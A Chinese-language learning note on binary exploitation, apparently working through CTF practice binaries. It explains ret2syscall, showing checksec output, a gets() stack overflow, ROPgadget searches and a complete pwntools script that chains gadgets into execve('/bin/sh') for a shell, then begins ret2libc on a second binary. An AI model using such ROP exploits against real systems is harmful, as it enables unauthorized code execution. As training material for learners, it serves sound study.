Pwn学习随笔(11)


首先检测程序开启的保护
?ret2syscall checksec ropArch:i386-32-littleRELRO:Partial RELROStack:No canary foundNX:NX enabledPIE:No PIE (0x8048000)可以看出 , 源程序为 32 位,开启了 NX 保护 。接下来利用 IDA 来查看源码
int __cdecl main(int argc, const char **argv, const char **envp){int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;}可以看出此次仍然是一个栈溢出 。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108 。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112 。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell , 而对应的 shell 获取则是利用系统调用 。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用 。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以 。
  • 第二个参数 , 即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets 。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10 。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器 , 所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因 。具体寻找 gadgets的方法 , 我们可以使用 ropgadgets 这个工具 。
首先,我们来寻找控制 eax 的gadgets
?ret2syscall ROPgadget --binary rop--only 'pop|ret' | grep 'eax'0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret0x080bb196 : pop eax ; ret0x0807217a : pop eax ; ret 0x80e0x0804f704 : pop eax ; ret 30x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets 。类似的,我们可以得到控制其它寄存器的 gadgets
此外,我们需要获得 /bin/sh 字符串对应的地址 。
?ret2syscall ROPgadget --binary rop--string '/bin/sh'Strings information============================================================0x080be408 : /bin/sh可以找到对应的地址,此外 , 还有 int 0x80 的地址,如下
?ret2syscall ROPgadget --binary rop--only 'int'Gadgets information============================================================0x08049421 : int 0x800x080938fe : int 0xbb0x080869b5 : int 0xf60x0807b4d4 : int 0xfcUnique gadgets found: 4同时,也找到对应的地址了 。下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号 。
#!/usr/bin/env pythonfrom pwn import *sh = process('./rop')pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90int_0x80 = 0x08049421binsh = 0x80be408payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])#分别对应: 栈溢出大小(覆盖栈?。?返回地址eax寄存器的弹出,eax参数即execve调用号,返回地址多个寄存器弹出,edx参数,ecx参数,ebx参数binsh,返回地址 int80sh.sendline(payload)sh.interactive()ret2libcret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容) 。一般情况下 , 我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址 。
简单例题
首先,我们可以检查一下程序的安全保护
?ret2libc1 checksec ret2libc1Arch:i386-32-littleRELRO:Partial RELROStack:No canary foundNX:NX enabledPIE:No PIE (0x8048000)源程序为 32 位,开启了 NX 保护 。下面来看一下程序源代码,确定漏洞位置
int __cdecl main(int argc, const char **argv, const char **envp){int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("RET2LIBC >_<");gets((char *)&v4);return 0;}可以看到在执行 gets 函数的时候出现了栈溢出 。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在
?ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'Strings information============================================================0x08048720 : /bin/sh确实存在,再次查找一下是否有 system 函数存在 。经在 ida 中查找 , 确实也存在 。

推荐阅读